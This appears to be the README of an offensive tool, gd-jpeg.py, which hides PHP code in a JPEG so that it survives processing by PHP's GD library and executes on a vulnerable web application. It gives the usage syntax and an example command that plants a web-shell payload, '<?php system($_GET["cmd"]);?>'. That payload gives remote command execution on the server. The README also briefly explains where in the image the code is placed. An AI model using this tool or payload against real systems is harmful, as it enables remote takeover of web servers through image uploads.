Injects php payloads into jpeg images. Related to this post.
You have a web application that runs a jpeg image through PHP's GD graphics library.
This script injects PHP code into a specified jpeg image. The web application will execute the payload if it interprets the image. Make sure your input jpeg is uncompressed!
python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]
python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
How it works
PHP code is injected in the null/garbage (brown) space after the scan header:
The new infected jpeg is run through PHP's gd-library. PHP interprets the payload injected in the jpeg and executes it.